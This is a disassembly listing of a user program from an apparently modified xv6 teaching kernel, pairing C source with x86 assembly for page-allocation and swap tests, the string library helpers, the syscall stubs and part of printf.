printf(1, "allocated %d files <expected: %d> <actual: %d>\n",len/PGSIZE, init - (len/PGSIZE), getNumberOfFreePages());
5d6: 83 eb 0a sub $0xa,%ebx
char *arr = sbrk(len);
5d9: e8 bc 03 00 00 call 99a <sbrk>
printf(1, "allocated %d files <expected: %d> <actual: %d>\n",len/PGSIZE, init - (len/PGSIZE), getNumberOfFreePages());
5de: e8 cf 03 00 00 call 9b2 <getNumberOfFreePages>
5e3: 89 04 24 mov %eax,(%esp)
5e6: 53 push %ebx
5e7: 6a 0a push $0xa
5e9: 68 ec 10 00 00 push $0x10ec
5ee: 6a 01 push $0x1
5f0: e8 7b 04 00 00 call a70 <printf>
}
5f5: 83 c4 20 add $0x20,%esp
5f8: 8b 5d fc mov -0x4(%ebp),%ebx
5fb: c9 leave
5fc: c3 ret
5fd: 8d 76 00 lea 0x0(%esi),%esi
00000600 <free_pages_with_swap_test>:
{
600: 55 push %ebp
601: 89 e5 mov %esp,%ebp
603: 53 push %ebx
604: 83 ec 04 sub $0x4,%esp
int init_free = getNumberOfFreePages();
607: e8 a6 03 00 00 call 9b2 <getNumberOfFreePages>
printf(1, "init free pages: %d\n", init_free);
60c: 83 ec 04 sub $0x4,%esp
int init_free = getNumberOfFreePages();
60f: 89 c3 mov %eax,%ebx
printf(1, "init free pages: %d\n", init_free);
611: 50 push %eax
612: 68 35 11 00 00 push $0x1135
617: 6a 01 push $0x1
619: e8 52 04 00 00 call a70 <printf>
sbrk(9 * PGSIZE);
61e: c7 04 24 00 90 00 00 movl $0x9000,(%esp)
625: e8 70 03 00 00 call 99a <sbrk>
printf(1, "allocated 9 pages. <should be: %d> <actually: %d>\n",init_free-9, getNumberOfFreePages());
62a: e8 83 03 00 00 call 9b2 <getNumberOfFreePages>
62f: 50 push %eax
630: 8d 43 f7 lea -0x9(%ebx),%eax
printf(1, "allocated 3 more pages. <should be: %d> <actually: %d>\n",init_free-12, getNumberOfFreePages());
633: 83 eb 0c sub $0xc,%ebx
printf(1, "allocated 9 pages. <should be: %d> <actually: %d>\n",init_free-9, getNumberOfFreePages());
636: 50 push %eax
637: 68 f0 0d 00 00 push $0xdf0
63c: 6a 01 push $0x1
63e: e8 2d 04 00 00 call a70 <printf>
sbrk(3 * PGSIZE);
643: 83 c4 14 add $0x14,%esp
646: 68 00 30 00 00 push $0x3000
64b: e8 4a 03 00 00 call 99a <sbrk>
printf(1, "allocated 3 more pages. <should be: %d> <actually: %d>\n",init_free-12, getNumberOfFreePages());
650: e8 5d 03 00 00 call 9b2 <getNumberOfFreePages>
655: 50 push %eax
656: 53 push %ebx
657: 68 24 0e 00 00 push $0xe24
65c: 6a 01 push $0x1
65e: e8 0d 04 00 00 call a70 <printf>
sbrk(1 * PGSIZE);
663: 83 c4 14 add $0x14,%esp
666: 68 00 10 00 00 push $0x1000
66b: e8 2a 03 00 00 call 99a <sbrk>
printf(1, "allocated 1 more file, will swap page to disk. <should be: %d> <actually: %d> \n", init_free-12, getNumberOfFreePages());
670: e8 3d 03 00 00 call 9b2 <getNumberOfFreePages>
675: 50 push %eax
676: 53 push %ebx
677: 68 5c 0e 00 00 push $0xe5c
67c: 6a 01 push $0x1
67e: e8 ed 03 00 00 call a70 <printf>
}
683: 83 c4 20 add $0x20,%esp
686: 8b 5d fc mov -0x4(%ebp),%ebx
689: c9 leave
68a: c3 ret
68b: 90 nop
68c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000690 <allocate_more_than_MaxPages_test>:
{
690: 55 push %ebp
691: 89 e5 mov %esp,%ebp
693: 83 ec 14 sub $0x14,%esp
printf(1, "sbrk res: %d\n", (sbrk(29 * PGSIZE)));
696: 68 00 d0 01 00 push $0x1d000
69b: e8 fa 02 00 00 call 99a <sbrk>
6a0: 83 c4 0c add $0xc,%esp
6a3: 50 push %eax
6a4: 68 4a 11 00 00 push $0x114a
6a9: 6a 01 push $0x1
6ab: e8 c0 03 00 00 call a70 <printf>
}
6b0: 83 c4 10 add $0x10,%esp
6b3: c9 leave
6b4: c3 ret
6b5: 66 90 xchg %ax,%ax
6b7: 66 90 xchg %ax,%ax
6b9: 66 90 xchg %ax,%ax
6bb: 66 90 xchg %ax,%ax
6bd: 66 90 xchg %ax,%ax
6bf: 90 nop
000006c0 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
6c0: 55 push %ebp
6c1: 89 e5 mov %esp,%ebp
6c3: 53 push %ebx
6c4: 8b 45 08 mov 0x8(%ebp),%eax
6c7: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
6ca: 89 c2 mov %eax,%edx
6cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
6d0: 83 c1 01 add $0x1,%ecx
6d3: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
6d7: 83 c2 01 add $0x1,%edx
6da: 84 db test %bl,%bl
6dc: 88 5a ff mov %bl,-0x1(%edx)
6df: 75 ef jne 6d0 <strcpy+0x10>
;
return os;
}
6e1: 5b pop %ebx
6e2: 5d pop %ebp
6e3: c3 ret
6e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
6ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000006f0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
6f0: 55 push %ebp
6f1: 89 e5 mov %esp,%ebp
6f3: 53 push %ebx
6f4: 8b 55 08 mov 0x8(%ebp),%edx
6f7: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
6fa: 0f b6 02 movzbl (%edx),%eax
6fd: 0f b6 19 movzbl (%ecx),%ebx
700: 84 c0 test %al,%al
702: 75 1c jne 720 <strcmp+0x30>
704: eb 2a jmp 730 <strcmp+0x40>
706: 8d 76 00 lea 0x0(%esi),%esi
709: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
710: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
713: 0f b6 02 movzbl (%edx),%eax
p++, q++;
716: 83 c1 01 add $0x1,%ecx
719: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
71c: 84 c0 test %al,%al
71e: 74 10 je 730 <strcmp+0x40>
720: 38 d8 cmp %bl,%al
722: 74 ec je 710 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
724: 29 d8 sub %ebx,%eax
}
726: 5b pop %ebx
727: 5d pop %ebp
728: c3 ret
729: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
730: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
732: 29 d8 sub %ebx,%eax
}
734: 5b pop %ebx
735: 5d pop %ebp
736: c3 ret
737: 89 f6 mov %esi,%esi
739: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000740 <strlen>:
uint
strlen(const char *s)
{
740: 55 push %ebp
741: 89 e5 mov %esp,%ebp
743: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
746: 80 39 00 cmpb $0x0,(%ecx)
749: 74 15 je 760 <strlen+0x20>
74b: 31 d2 xor %edx,%edx
74d: 8d 76 00 lea 0x0(%esi),%esi
750: 83 c2 01 add $0x1,%edx
753: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
757: 89 d0 mov %edx,%eax
759: 75 f5 jne 750 <strlen+0x10>
;
return n;
}
75b: 5d pop %ebp
75c: c3 ret
75d: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
760: 31 c0 xor %eax,%eax
}
762: 5d pop %ebp
763: c3 ret
764: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
76a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000770 <memset>:
void*
memset(void *dst, int c, uint n)
{
770: 55 push %ebp
771: 89 e5 mov %esp,%ebp
773: 57 push %edi
774: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
777: 8b 4d 10 mov 0x10(%ebp),%ecx
77a: 8b 45 0c mov 0xc(%ebp),%eax
77d: 89 d7 mov %edx,%edi
77f: fc cld
780: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
782: 89 d0 mov %edx,%eax
784: 5f pop %edi
785: 5d pop %ebp
786: c3 ret
787: 89 f6 mov %esi,%esi
789: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000790 <strchr>:
char*
strchr(const char *s, char c)
{
790: 55 push %ebp
791: 89 e5 mov %esp,%ebp
793: 53 push %ebx
794: 8b 45 08 mov 0x8(%ebp),%eax
797: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
79a: 0f b6 10 movzbl (%eax),%edx
79d: 84 d2 test %dl,%dl
79f: 74 1d je 7be <strchr+0x2e>
if(*s == c)
7a1: 38 d3 cmp %dl,%bl
7a3: 89 d9 mov %ebx,%ecx
7a5: 75 0d jne 7b4 <strchr+0x24>
7a7: eb 17 jmp 7c0 <strchr+0x30>
7a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
7b0: 38 ca cmp %cl,%dl
7b2: 74 0c je 7c0 <strchr+0x30>
for(; *s; s++)
7b4: 83 c0 01 add $0x1,%eax
7b7: 0f b6 10 movzbl (%eax),%edx
7ba: 84 d2 test %dl,%dl
7bc: 75 f2 jne 7b0 <strchr+0x20>
return (char*)s;
return 0;
7be: 31 c0 xor %eax,%eax
}
7c0: 5b pop %ebx
7c1: 5d pop %ebp
7c2: c3 ret
7c3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
7c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000007d0 <gets>:
char*
gets(char *buf, int max)
{
7d0: 55 push %ebp
7d1: 89 e5 mov %esp,%ebp
7d3: 57 push %edi
7d4: 56 push %esi
7d5: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
7d6: 31 f6 xor %esi,%esi
7d8: 89 f3 mov %esi,%ebx
{
7da: 83 ec 1c sub $0x1c,%esp
7dd: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
7e0: eb 2f jmp 811 <gets+0x41>
7e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
7e8: 8d 45 e7 lea -0x19(%ebp),%eax
7eb: 83 ec 04 sub $0x4,%esp
7ee: 6a 01 push $0x1
7f0: 50 push %eax
7f1: 6a 00 push $0x0
7f3: e8 32 01 00 00 call 92a <read>
if(cc < 1)
7f8: 83 c4 10 add $0x10,%esp
7fb: 85 c0 test %eax,%eax
7fd: 7e 1c jle 81b <gets+0x4b>
break;
buf[i++] = c;
7ff: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
803: 83 c7 01 add $0x1,%edi
806: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
809: 3c 0a cmp $0xa,%al
80b: 74 23 je 830 <gets+0x60>
80d: 3c 0d cmp $0xd,%al
80f: 74 1f je 830 <gets+0x60>
for(i=0; i+1 < max; ){
811: 83 c3 01 add $0x1,%ebx
814: 3b 5d 0c cmp 0xc(%ebp),%ebx
817: 89 fe mov %edi,%esi
819: 7c cd jl 7e8 <gets+0x18>
81b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
81d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
820: c6 03 00 movb $0x0,(%ebx)
}
823: 8d 65 f4 lea -0xc(%ebp),%esp
826: 5b pop %ebx
827: 5e pop %esi
828: 5f pop %edi
829: 5d pop %ebp
82a: c3 ret
82b: 90 nop
82c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
830: 8b 75 08 mov 0x8(%ebp),%esi
833: 8b 45 08 mov 0x8(%ebp),%eax
836: 01 de add %ebx,%esi
838: 89 f3 mov %esi,%ebx
buf[i] = '\0';
83a: c6 03 00 movb $0x0,(%ebx)
}
83d: 8d 65 f4 lea -0xc(%ebp),%esp
840: 5b pop %ebx
841: 5e pop %esi
842: 5f pop %edi
843: 5d pop %ebp
844: c3 ret
845: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
849: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000850 <stat>:
int
stat(const char *n, struct stat *st)
{
850: 55 push %ebp
851: 89 e5 mov %esp,%ebp
853: 56 push %esi
854: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
855: 83 ec 08 sub $0x8,%esp
858: 6a 00 push $0x0
85a: ff 75 08 pushl 0x8(%ebp)
85d: e8 f0 00 00 00 call 952 <open>
if(fd < 0)
862: 83 c4 10 add $0x10,%esp
865: 85 c0 test %eax,%eax
867: 78 27 js 890 <stat+0x40>
return -1;
r = fstat(fd, st);
869: 83 ec 08 sub $0x8,%esp
86c: ff 75 0c pushl 0xc(%ebp)
86f: 89 c3 mov %eax,%ebx
871: 50 push %eax
872: e8 f3 00 00 00 call 96a <fstat>
close(fd);
877: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
87a: 89 c6 mov %eax,%esi
close(fd);
87c: e8 b9 00 00 00 call 93a <close>
return r;
881: 83 c4 10 add $0x10,%esp
}
884: 8d 65 f8 lea -0x8(%ebp),%esp
887: 89 f0 mov %esi,%eax
889: 5b pop %ebx
88a: 5e pop %esi
88b: 5d pop %ebp
88c: c3 ret
88d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
890: be ff ff ff ff mov $0xffffffff,%esi
895: eb ed jmp 884 <stat+0x34>
897: 89 f6 mov %esi,%esi
899: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000008a0 <atoi>:
int
atoi(const char *s)
{
8a0: 55 push %ebp
8a1: 89 e5 mov %esp,%ebp
8a3: 53 push %ebx
8a4: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
8a7: 0f be 11 movsbl (%ecx),%edx
8aa: 8d 42 d0 lea -0x30(%edx),%eax
8ad: 3c 09 cmp $0x9,%al
n = 0;
8af: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
8b4: 77 1f ja 8d5 <atoi+0x35>
8b6: 8d 76 00 lea 0x0(%esi),%esi
8b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
8c0: 8d 04 80 lea (%eax,%eax,4),%eax
8c3: 83 c1 01 add $0x1,%ecx
8c6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
8ca: 0f be 11 movsbl (%ecx),%edx
8cd: 8d 5a d0 lea -0x30(%edx),%ebx
8d0: 80 fb 09 cmp $0x9,%bl
8d3: 76 eb jbe 8c0 <atoi+0x20>
return n;
}
8d5: 5b pop %ebx
8d6: 5d pop %ebp
8d7: c3 ret
8d8: 90 nop
8d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000008e0 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
8e0: 55 push %ebp
8e1: 89 e5 mov %esp,%ebp
8e3: 56 push %esi
8e4: 53 push %ebx
8e5: 8b 5d 10 mov 0x10(%ebp),%ebx
8e8: 8b 45 08 mov 0x8(%ebp),%eax
8eb: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
8ee: 85 db test %ebx,%ebx
8f0: 7e 14 jle 906 <memmove+0x26>
8f2: 31 d2 xor %edx,%edx
8f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
8f8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
8fc: 88 0c 10 mov %cl,(%eax,%edx,1)
8ff: 83 c2 01 add $0x1,%edx
while(n-- > 0)
902: 39 d3 cmp %edx,%ebx
904: 75 f2 jne 8f8 <memmove+0x18>
return vdst;
}
906: 5b pop %ebx
907: 5e pop %esi
908: 5d pop %ebp
909: c3 ret
0000090a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
90a: b8 01 00 00 00 mov $0x1,%eax
90f: cd 40 int $0x40
911: c3 ret
00000912 <exit>:
SYSCALL(exit)
912: b8 02 00 00 00 mov $0x2,%eax
917: cd 40 int $0x40
919: c3 ret
0000091a <wait>:
SYSCALL(wait)
91a: b8 03 00 00 00 mov $0x3,%eax
91f: cd 40 int $0x40
921: c3 ret
00000922 <pipe>:
SYSCALL(pipe)
922: b8 04 00 00 00 mov $0x4,%eax
927: cd 40 int $0x40
929: c3 ret
0000092a <read>:
SYSCALL(read)
92a: b8 05 00 00 00 mov $0x5,%eax
92f: cd 40 int $0x40
931: c3 ret
00000932 <write>:
SYSCALL(write)
932: b8 10 00 00 00 mov $0x10,%eax
937: cd 40 int $0x40
939: c3 ret
0000093a <close>:
SYSCALL(close)
93a: b8 15 00 00 00 mov $0x15,%eax
93f: cd 40 int $0x40
941: c3 ret
00000942 <kill>:
SYSCALL(kill)
942: b8 06 00 00 00 mov $0x6,%eax
947: cd 40 int $0x40
949: c3 ret
0000094a <exec>:
SYSCALL(exec)
94a: b8 07 00 00 00 mov $0x7,%eax
94f: cd 40 int $0x40
951: c3 ret
00000952 <open>:
SYSCALL(open)
952: b8 0f 00 00 00 mov $0xf,%eax
957: cd 40 int $0x40
959: c3 ret
0000095a <mknod>:
SYSCALL(mknod)
95a: b8 11 00 00 00 mov $0x11,%eax
95f: cd 40 int $0x40
961: c3 ret
00000962 <unlink>:
SYSCALL(unlink)
962: b8 12 00 00 00 mov $0x12,%eax
967: cd 40 int $0x40
969: c3 ret
0000096a <fstat>:
SYSCALL(fstat)
96a: b8 08 00 00 00 mov $0x8,%eax
96f: cd 40 int $0x40
971: c3 ret
00000972 <link>:
SYSCALL(link)
972: b8 13 00 00 00 mov $0x13,%eax
977: cd 40 int $0x40
979: c3 ret
0000097a <mkdir>:
SYSCALL(mkdir)
97a: b8 14 00 00 00 mov $0x14,%eax
97f: cd 40 int $0x40
981: c3 ret
00000982 <chdir>:
SYSCALL(chdir)
982: b8 09 00 00 00 mov $0x9,%eax
987: cd 40 int $0x40
989: c3 ret
0000098a <dup>:
SYSCALL(dup)
98a: b8 0a 00 00 00 mov $0xa,%eax
98f: cd 40 int $0x40
991: c3 ret
00000992 <getpid>:
SYSCALL(getpid)
992: b8 0b 00 00 00 mov $0xb,%eax
997: cd 40 int $0x40
999: c3 ret
0000099a <sbrk>:
SYSCALL(sbrk)
99a: b8 0c 00 00 00 mov $0xc,%eax
99f: cd 40 int $0x40
9a1: c3 ret
000009a2 <sleep>:
SYSCALL(sleep)
9a2: b8 0d 00 00 00 mov $0xd,%eax
9a7: cd 40 int $0x40
9a9: c3 ret
000009aa <uptime>:
SYSCALL(uptime)
9aa: b8 0e 00 00 00 mov $0xe,%eax
9af: cd 40 int $0x40
9b1: c3 ret
000009b2 <getNumberOfFreePages>:
SYSCALL(getNumberOfFreePages)
9b2: b8 17 00 00 00 mov $0x17,%eax
9b7: cd 40 int $0x40
9b9: c3 ret
000009ba <getNumRefs>:
9ba: b8 18 00 00 00 mov $0x18,%eax
9bf: cd 40 int $0x40
9c1: c3 ret
9c2: 66 90 xchg %ax,%ax
9c4: 66 90 xchg %ax,%ax
9c6: 66 90 xchg %ax,%ax
9c8: 66 90 xchg %ax,%ax
9ca: 66 90 xchg %ax,%ax
9cc: 66 90 xchg %ax,%ax
9ce: 66 90 xchg %ax,%ax
000009d0 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
9d0: 55 push %ebp
9d1: 89 e5 mov %esp,%ebp
9d3: 57 push %edi
9d4: 56 push %esi
9d5: 53 push %ebx
9d6: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
9d9: 85 d2 test %edx,%edx
{
9db: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
9de: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
9e0: 79 76 jns a58 <printint+0x88>
9e2: f6 45 08 01 testb $0x1,0x8(%ebp)
9e6: 74 70 je a58 <printint+0x88>
x = -xx;
9e8: f7 d8 neg %eax
neg = 1;
9ea: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
9f1: 31 f6 xor %esi,%esi
9f3: 8d 5d d7 lea -0x29(%ebp),%ebx
9f6: eb 0a jmp a02 <printint+0x32>
9f8: 90 nop
9f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
a00: 89 fe mov %edi,%esi
a02: 31 d2 xor %edx,%edx
a04: 8d 7e 01 lea 0x1(%esi),%edi
a07: f7 f1 div %ecx
a09: 0f b6 92 04 12 00 00 movzbl 0x1204(%edx),%edx
}while((x /= base) != 0);
a10: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
a12: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
a15: 75 e9 jne a00 <printint+0x30>
if(neg)
a17: 8b 45 c4 mov -0x3c(%ebp),%eax
a1a: 85 c0 test %eax,%eax
a1c: 74 08 je a26 <printint+0x56>
buf[i++] = '-';
a1e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
a23: 8d 7e 02 lea 0x2(%esi),%edi
a26: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
a2a: 8b 7d c0 mov -0x40(%ebp),%edi
a2d: 8d 76 00 lea 0x0(%esi),%esi
a30: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
a33: 83 ec 04 sub $0x4,%esp
a36: 83 ee 01 sub $0x1,%esi
a39: 6a 01 push $0x1
a3b: 53 push %ebx
a3c: 57 push %edi
a3d: 88 45 d7 mov %al,-0x29(%ebp)
a40: e8 ed fe ff ff call 932 <write>
while(--i >= 0)
a45: 83 c4 10 add $0x10,%esp
a48: 39 de cmp %ebx,%esi
a4a: 75 e4 jne a30 <printint+0x60>
putc(fd, buf[i]);
}
a4c: 8d 65 f4 lea -0xc(%ebp),%esp
a4f: 5b pop %ebx
a50: 5e pop %esi
a51: 5f pop %edi
a52: 5d pop %ebp
a53: c3 ret
a54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
a58: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
a5f: eb 90 jmp 9f1 <printint+0x21>
a61: eb 0d jmp a70 <printf>
a63: 90 nop
a64: 90 nop
a65: 90 nop
a66: 90 nop
a67: 90 nop
a68: 90 nop
a69: 90 nop
a6a: 90 nop
a6b: 90 nop
a6c: 90 nop
a6d: 90 nop
a6e: 90 nop
a6f: 90 nop
00000a70 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
a70: 55 push %ebp
a71: 89 e5 mov %esp,%ebp
a73: 57 push %edi
a74: 56 push %esi
a75: 53 push %ebx
a76: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
a79: 8b 75 0c mov 0xc(%ebp),%esi
a7c: 0f b6 1e movzbl (%esi),%ebx
a7f: 84 db test %bl,%bl
a81: 0f 84 b3 00 00 00 je b3a <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
a87: 8d 45 10 lea 0x10(%ebp),%eax
a8a: 83 c6 01 add $0x1,%esi
state = 0;
a8d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
a8f: 89 45 d4 mov %eax,-0x2c(%ebp)
a92: eb 2f jmp ac3 <printf+0x53>
a94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
a98: 83 f8 25 cmp $0x25,%eax
a9b: 0f 84 a7 00 00 00 je b48 <printf+0xd8>
write(fd, &c, 1);
aa1: 8d 45 e2 lea -0x1e(%ebp),%eax
aa4: 83 ec 04 sub $0x4,%esp
aa7: 88 5d e2 mov %bl,-0x1e(%ebp)
aaa: 6a 01 push $0x1
aac: 50 push %eax
aad: ff 75 08 pushl 0x8(%ebp)
ab0: e8 7d fe ff ff call 932 <write>
ab5: 83 c4 10 add $0x10,%esp
ab8: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
abb: 0f b6 5e ff movzbl -0x1(%esi),%ebx
abf: 84 db test %bl,%bl
ac1: 74 77 je b3a <printf+0xca>
if(state == 0){
ac3: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
ac5: 0f be cb movsbl %bl,%ecx
ac8: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
acb: 74 cb je a98 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
acd: 83 ff 25 cmp $0x25,%edi
ad0: 75 e6 jne ab8 <printf+0x48>
if(c == 'd'){
ad2: 83 f8 64 cmp $0x64,%eax
ad5: 0f 84 05 01 00 00 je be0 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
adb: 81 e1 f7 00 00 00 and $0xf7,%ecx
ae1: 83 f9 70 cmp $0x70,%ecx
ae4: 74 72 je b58 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
ae6: 83 f8 73 cmp $0x73,%eax
ae9: 0f 84 99 00 00 00 je b88 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
aef: 83 f8 63 cmp $0x63,%eax
af2: 0f 84 08 01 00 00 je c00 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
af8: 83 f8 25 cmp $0x25,%eax
afb: 0f 84 ef 00 00 00 je bf0 <printf+0x180>
write(fd, &c, 1);
b01: 8d 45 e7 lea -0x19(%ebp),%eax
b04: 83 ec 04 sub $0x4,%esp
b07: c6 45 e7 25 movb $0x25,-0x19(%ebp)
b0b: 6a 01 push $0x1
b0d: 50 push %eax
b0e: ff 75 08 pushl 0x8(%ebp)
b11: e8 1c fe ff ff call 932 <write>
b16: 83 c4 0c add $0xc,%esp
b19: 8d 45 e6 lea -0x1a(%ebp),%eax
b1c: 88 5d e6 mov %bl,-0x1a(%ebp)
b1f: 6a 01 push $0x1
b21: 50 push %eax
b22: ff 75 08 pushl 0x8(%ebp)
b25: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
b28: 31 ff xor %edi,%edi
write(fd, &c, 1);
b2a: e8 03 fe ff ff call 932 <write>
for(i = 0; fmt[i]; i++){
b2f: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
b33: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
b36: 84 db test %bl,%bl
b38: 75 89 jne ac3 <printf+0x53>
}
}
}
b3a: 8d 65 f4 lea -0xc(%ebp),%esp
b3d: 5b pop %ebx
b3e: 5e pop %esi
b3f: 5f pop %edi
b40: 5d pop %ebp
b41: c3 ret
b42: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
b48: bf 25 00 00 00 mov $0x25,%edi
b4d: e9 66 ff ff ff jmp ab8 <printf+0x48>
b52: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
b58: 83 ec 0c sub $0xc,%esp
b5b: b9 10 00 00 00 mov $0x10,%ecx
b60: 6a 00 push $0x0
b62: 8b 7d d4 mov -0x2c(%ebp),%edi
b65: 8b 45 08 mov 0x8(%ebp),%eax
b68: 8b 17 mov (%edi),%edx
b6a: e8 61 fe ff ff call 9d0 <printint>
ap++;
b6f: 89 f8 mov %edi,%eax
b71: 83 c4 10 add $0x10,%esp
state = 0;
b74: 31 ff xor %edi,%edi
ap++;
b76: 83 c0 04 add $0x4,%eax
b79: 89 45 d4 mov %eax,-0x2c(%ebp)
b7c: e9 37 ff ff ff jmp ab8 <printf+0x48>
b81: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
b88: 8b 45 d4 mov -0x2c(%ebp),%eax
b8b: 8b 08 mov (%eax),%ecx
ap++;
b8d: 83 c0 04 add $0x4,%eax
b90: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
b93: 85 c9 test %ecx,%ecx
b95: 0f 84 8e 00 00 00 je c29 <printf+0x1b9>
while(*s != 0){
b9b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
b9e: 31 ff xor %edi,%edi
s = (char*)*ap;
ba0: 89 cb mov %ecx,%ebx
while(*s != 0){
ba2: 84 c0 test %al,%al
ba4: 0f 84 0e ff ff ff je ab8 <printf+0x48>
baa: 89 75 d0 mov %esi,-0x30(%ebp)
bad: 89 de mov %ebx,%esi
baf: 8b 5d 08 mov 0x8(%ebp),%ebx
bb2: 8d 7d e3 lea -0x1d(%ebp),%edi
bb5: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
bb8: 83 ec 04 sub $0x4,%esp
s++;
bbb: 83 c6 01 add $0x1,%esi
bbe: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
bc1: 6a 01 push $0x1
bc3: 57 push %edi
bc4: 53 push %ebx
bc5: e8 68 fd ff ff call 932 <write>
while(*s != 0){
bca: 0f b6 06 movzbl (%esi),%eax
bcd: 83 c4 10 add $0x10,%esp
bd0: 84 c0 test %al,%al
bd2: 75 e4 jne bb8 <printf+0x148>
